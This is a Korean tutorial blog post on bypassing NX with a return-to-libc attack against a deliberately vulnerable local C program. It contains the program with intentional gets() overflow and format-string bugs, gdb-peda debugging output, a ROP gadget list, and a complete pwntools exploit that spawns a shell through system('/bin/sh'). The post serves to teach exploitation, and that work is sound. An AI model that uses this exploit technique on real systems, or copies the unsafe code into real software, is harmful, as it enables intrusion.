바이너리 분석 2 - RTL ( NX-bit bypass ) 본문

Layer 7

바이너리 분석 2 - RTL ( NX-bit bypass )

disso1p1 2020. 8. 25. 19:46

 

 

 

[코드]

// gcc -o test code.c -fno-stack-protector -z norelro , No ALSR
#include <stdio.h>

void setup()
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
	setup();
	
	char buf[0x100];

	printf("What's your name? : "); 
        gets(buf); // Buffer Overflow 

	printf("Hello, ");
	printf(buf); // Format String Bug
	printf("!!!\n");

	printf("Last greeting : ");
	gets(buf); // Buffer Overflow

	return 0;
}

 

gets() 함수로 변수 buf 에 문자열을 받으므로 BOF 를 발생시켜 return address 를 변조하면 되겠다.

 

https://disso1p1.tistory.com/39 <-- BOF 자세한 내용은 요기로 

 

 

근데 중요한게 무엇이냐.

NX-bit 보호 기법이 켜져있다.

NX-bit 보호 기법이 켜져있으면 스택, 힙 영역에서 코드를 실행시키는 것을 막는다. 즉, buf 에 쉘코드를 넣고 buf 주소로 뛰어봤자 쉘코드가 실행되지 않는다.

 

그래서 NX-bit 을 우회하는 기법 중 RTL( Return To Library ) 기법을 사용하면 쉽게 풀 수 있다.

 

라이브러리 영역에는 NX bit 이 적용되지 않기 때문에 라이브러리에 있는 함수를 꺼내 쓰면 되겠다.

 

system("/bin/sh"); 을 실행시킬 건데, 

 

1. system() 함수 주소

2. "/bin/sh" 주소 -> system() 함수의 인자는 char * 형이므로 문자열이 저장돼 있는 주소를 넣어주어야 한다.

3. pop rdi; ~ ret; ( Gadget ) 주소

 

 

 

ALSR 을 끄기 위해 폰툴로 ALSR 을 끄고 pause() 를 건 후, gdb 를 붙여 동적 디버깅으로 진행해야 한다.

from pwn import *

p = process('./test', aslr = False)

pause()

p.interactive()

 

 

1. system() 함수 주소

gdb-peda$ p &system
$3 = (<text variable, no debug info> *) 0x155554fa93a0 <__libc_system>
gdb-peda$ 

system() 함수 주소 : 0x155554fa93a0

 

 

2. "/bin/sh" 주소

라이브러리 파일 /lib/x86_64-linux-gnu/libc-2.23.so 에도 "/bin/sh" 이라는 문자열이 있지만, buf 에 "/bin/sh" 를 넣고 buf 시작 주소를 system() 함수의 인자값으로 넘겨주겠다.

 

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000004006e7 <+0>:	push   rbp
   0x00000000004006e8 <+1>:	mov    rbp,rsp
   0x00000000004006eb <+4>:	sub    rsp,0x100
   0x00000000004006f2 <+11>:	mov    eax,0x0
   0x00000000004006f7 <+16>:	call   0x400686 <setup>
   0x00000000004006fc <+21>:	mov    edi,0x400804
   0x0000000000400701 <+26>:	mov    eax,0x0
   0x0000000000400706 <+31>:	call   0x400540 <printf@plt>
   0x000000000040070b <+36>:	lea    rax,[rbp-0x100]
   0x0000000000400712 <+43>:	mov    rdi,rax
   0x0000000000400715 <+46>:	mov    eax,0x0
   0x000000000040071a <+51>:	call   0x400560 <gets@plt>
   0x000000000040071f <+56>:	mov    edi,0x400819
   0x0000000000400724 <+61>:	mov    eax,0x0
   0x0000000000400729 <+66>:	call   0x400540 <printf@plt>
   0x000000000040072e <+71>:	lea    rax,[rbp-0x100]
   0x0000000000400735 <+78>:	mov    rdi,rax
   0x0000000000400738 <+81>:	mov    eax,0x0
   0x000000000040073d <+86>:	call   0x400540 <printf@plt>
   0x0000000000400742 <+91>:	mov    edi,0x400821
   0x0000000000400747 <+96>:	call   0x400530 <puts@plt>
   0x000000000040074c <+101>:	mov    edi,0x400825
   0x0000000000400751 <+106>:	mov    eax,0x0
   0x0000000000400756 <+111>:	call   0x400540 <printf@plt>
   0x000000000040075b <+116>:	lea    rax,[rbp-0x100]
   0x0000000000400762 <+123>:	mov    rdi,rax
   0x0000000000400765 <+126>:	mov    eax,0x0
   0x000000000040076a <+131>:	call   0x400560 <gets@plt>
   0x000000000040076f <+136>:	mov    eax,0x0
   0x0000000000400774 <+141>:	leave  
   0x0000000000400775 <+142>:	ret    
End of assembler dump.
gdb-peda$ b*main+56
Breakpoint 1 at 0x40071f
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdc10 --> 0x69686968 ('hihi')
RBX: 0x0 
RCX: 0x1555553288e0 --> 0xfbad208b 
RDX: 0x15555532a790 --> 0x0 
RSI: 0x155555328963 --> 0x32a790000000000a 
RDI: 0x0 
RBP: 0x7fffffffdd10 --> 0x400780 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdc10 --> 0x69686968 ('hihi')
RIP: 0x40071f (<main+56>:	mov    edi,0x400819)
R8 : 0x15555532a780 --> 0x0 
R9 : 0x155555531700 (0x0000155555531700)
R10: 0x57 ('W')
R11: 0x246 
R12: 0x400590 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffddf0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400712 <main+43>:	mov    rdi,rax
   0x400715 <main+46>:	mov    eax,0x0
   0x40071a <main+51>:	call   0x400560 <gets@plt>
=> 0x40071f <main+56>:	mov    edi,0x400819
   0x400724 <main+61>:	mov    eax,0x0
   0x400729 <main+66>:	call   0x400540 <printf@plt>
   0x40072e <main+71>:	lea    rax,[rbp-0x100]
   0x400735 <main+78>:	mov    rdi,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc10 --> 0x69686968 ('hihi')
0008| 0x7fffffffdc18 --> 0x7fffffffdc30 --> 0xffffffff 
0016| 0x7fffffffdc20 --> 0x6562b026 
0024| 0x7fffffffdc28 --> 0x1555550f06e7 ("__vdso_getcpu")
0032| 0x7fffffffdc30 --> 0xffffffff 
0040| 0x7fffffffdc38 --> 0x155555555718 --> 0x155555532000 --> 0x155554f64000 --> 0x3010102464c457f 
0048| 0x7fffffffdc40 --> 0x2 
0056| 0x7fffffffdc48 --> 0x800000000000000e 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040071f in main ()
gdb-peda$ x/gx $rbp-0x100
0x7fffffffdc10:	0x0000000069686968
gdb-peda$ 

 

gets() 함수의 인자가 buf 인데, rdi 에 rbp-0x100 의 주소를 넣어주므로 buf 시작주소는 rbp-0x100 임을 알 수 있다.

buf : 0x7fffffffdc10

 

 

3. Gadget 주소

gdb-peda$ rop
Gadgets information
============================================================
0x0000000000400577 : add al, 0 ; add byte ptr [rax], al ; jmp 0x400524
0x0000000000400557 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x400524
0x00000000004007ef : add bl, dh ; ret
0x00000000004007ed : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004007eb : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400537 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400524
0x0000000000400770 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004005ec : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004007ec : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400771 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040050b : add byte ptr [rax], al ; add rsp, 8 ; ret
0x0000000000400539 : add byte ptr [rax], al ; jmp 0x400522
0x0000000000400772 : add byte ptr [rax], al ; leave ; ret
0x00000000004005ee : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004007ee : add byte ptr [rax], al ; ret
0x0000000000400668 : add byte ptr [rbp + 5], dh ; jmp 0x400603
0x0000000000400658 : add byte ptr [rcx], al ; ret
0x0000000000400773 : add cl, cl ; ret
0x00000000004007d0 : add dword ptr [rax + 0x39], ecx ; jmp 0x40084d
0x0000000000400547 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400524
0x0000000000400654 : add eax, 0x2005ae ; add ebx, esi ; ret
0x0000000000400656 : add eax, 0xf3010020 ; ret
0x0000000000400567 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400524
0x0000000000400659 : add ebx, esi ; ret
0x000000000040050e : add esp, 8 ; ret
0x000000000040050d : add rsp, 8 ; ret
0x0000000000400657 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400534 : and byte ptr [rax], al ; push 0 ; jmp 0x400527
0x0000000000400544 : and byte ptr [rax], al ; push 1 ; jmp 0x400527
0x0000000000400554 : and byte ptr [rax], al ; push 2 ; jmp 0x400527
0x0000000000400564 : and byte ptr [rax], al ; push 3 ; jmp 0x400527
0x0000000000400574 : and byte ptr [rax], al ; push 4 ; jmp 0x400527
0x00000000004006e3 : call qword ptr [rax + 0x4855c35d]
0x0000000000400685 : call qword ptr [rbp + 0x48]
0x000000000040067e : call rax
0x0000000000400666 : cmp dword ptr [rdi], 0 ; jne 0x400675 ; jmp 0x400605
0x0000000000400665 : cmp qword ptr [rdi], 0 ; jne 0x400676 ; jmp 0x400606
0x00000000004007cc : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400679 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400509 : jae 0x400513 ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x00000000004005dd : je 0x4005f8 ; pop rbp ; mov edi, 0x600bd0 ; jmp rax
0x000000000040062b : je 0x400640 ; pop rbp ; mov edi, 0x600bd0 ; jmp rax
0x0000000000400678 : je 0x400671 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040053b : jmp 0x400520
0x000000000040066b : jmp 0x400600
0x00000000004007d3 : jmp 0x40084a
0x00000000004008cb : jmp qword ptr [rax]
0x0000000000400933 : jmp qword ptr [rbp]
0x00000000004008f3 : jmp qword ptr [rcx]
0x00000000004005e5 : jmp rax
0x0000000000400669 : jne 0x400672 ; jmp 0x400602
0x0000000000400774 : leave ; ret
0x0000000000400653 : mov byte ptr [rip + 0x2005ae], 1 ; ret
0x000000000040076f : mov eax, 0 ; leave ; ret
0x000000000040067c : mov ebp, esp ; call rax
0x00000000004005e0 : mov edi, 0x600bd0 ; jmp rax
0x000000000040067b : mov rbp, rsp ; call rax
0x00000000004006e4 : nop ; pop rbp ; ret
0x00000000004005e8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004007e8 : nop dword ptr [rax + rax] ; ret
0x0000000000400635 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400662 : or dword ptr [rax], esp ; cmp qword ptr [rdi], 0 ; jne 0x400679 ; jmp 0x400609
0x00000000004005e2 : or esp, dword ptr [rax] ; jmp rax
0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007e0 : pop r14 ; pop r15 ; ret
0x00000000004007e2 : pop r15 ; ret
0x0000000000400680 : pop rbp ; jmp 0x400601
0x0000000000400652 : pop rbp ; mov byte ptr [rip + 0x2005ae], 1 ; ret
0x00000000004005df : pop rbp ; mov edi, 0x600bd0 ; jmp rax
0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005f0 : pop rbp ; ret
0x00000000004007e3 : pop rdi ; ret
0x00000000004007e1 : pop rsi ; pop r15 ; ret
0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400536 : push 0 ; jmp 0x400525
0x0000000000400546 : push 1 ; jmp 0x400525
0x0000000000400556 : push 2 ; jmp 0x400525
0x0000000000400566 : push 3 ; jmp 0x400525
0x0000000000400576 : push 4 ; jmp 0x400525
0x000000000040067a : push rbp ; mov rbp, rsp ; call rax
0x0000000000400511 : ret
0x0000000000400677 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x0000000000400655 : scasb al, byte ptr [rdi] ; add eax, 0xf3010020 ; ret
0x00000000004007f5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004007f4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004005ea : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004007ea : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400676 : test eax, eax ; je 0x400673 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400675 : test rax, rax ; je 0x400674 ; push rbp ; mov rbp, rsp ; call rax

Unique gadgets found: 91
gdb-peda$ 

pop rdi; ret = 0x00000000004007e3

 

Gadget : 0x00000000004007e3

 

 

 

[exploit]

from pwn import *

p = process('./test', aslr = False)

p.sendlineafter(': ', 'hihi')

buf = 0x7fffffffdc10
system = 0x155554fa93a0
prdi = 0x00000000004007e3

pay = ''
pay += '/bin/sh\x00'
pay += 'A'*(0x108-len(pay))
pay += p64(prdi)
pay += p64(buf)
pay += p64(system)

p.sendlineafter(': ', pay)

p.interactive()

 

return addressprdi 로 덮으면 main 함수가 종료되고, pop rdi 가 실행된다. 그러면 다음 인자인 ( rsp += 8 을 했으므로 ) bufrdi 에 들어가고, ret 이 실행돼 system() 함수가 호출된다.

 

 

>,,<  

'Layer 7' 카테고리의 다른 글

운영체제 메모리 할당 알고리즘  (0) 2020.09.02
[Pwnable] Codegate 2018 - BaskinRobins31  (0) 2020.09.01
BOF 예제 분석  (0) 2020.08.16
DreamHack - string ( pwnable ) write up  (0) 2020.08.07
바이너리 분석  (0) 2020.07.12
Comments